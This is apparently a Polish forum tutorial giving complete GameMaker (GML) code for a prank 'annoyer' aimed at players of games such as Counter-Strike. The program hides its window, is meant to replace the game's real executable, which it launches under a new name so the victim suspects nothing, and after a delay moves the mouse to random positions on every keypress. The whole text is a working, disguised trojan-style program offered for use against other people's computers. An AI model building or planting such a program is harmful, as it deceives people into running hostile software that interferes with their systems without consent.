Napisałem taki kursik: jak zrobic wkurzacza np do Counter Strike-a i takich gier podobnych.
No to zaczynamy:
Tworzymy obiekt o nazwie wkurzacz i piszemy:
Create:
GML
window_set_visible(false) //robimy zeby okienko bylo niewidoczne
// teraz ten plik musimy komus podczepic jako plik glowny gry np gra.exe
// a prawdziwy plik z grą piszemy np. gra2.exe
execute_shell('gra2.exe',0) // wlaczamy prawdziwy plik, jak nie masz gra2.exe to se zmien :)
alarm[0]=500 // odczekujemy jakis czas az se ziom tam włączy gre i w ogole i zacznie grac
odczekane=false // tworzymy zmienna przez ktora mozna sprawdzic czy juz odczekalo
Alarm[0]:
GML
odczekane=true //gdy juz odczeka to ma zmienna byc true
Step:
GML
if odczekane //sprawdzamy czy odczekane=true
{
if keyboard_check_direct(vk_anykey) //sprawdzamy czy jest klikniety jakikolwiek przycisk
{
window_mouse_set(random(1000),random(1000)) //jesli tak to przywalamy myszke na losowa pozycje i mu karabin lata :)
}
}
No i mamy takie coś :]
Pozdro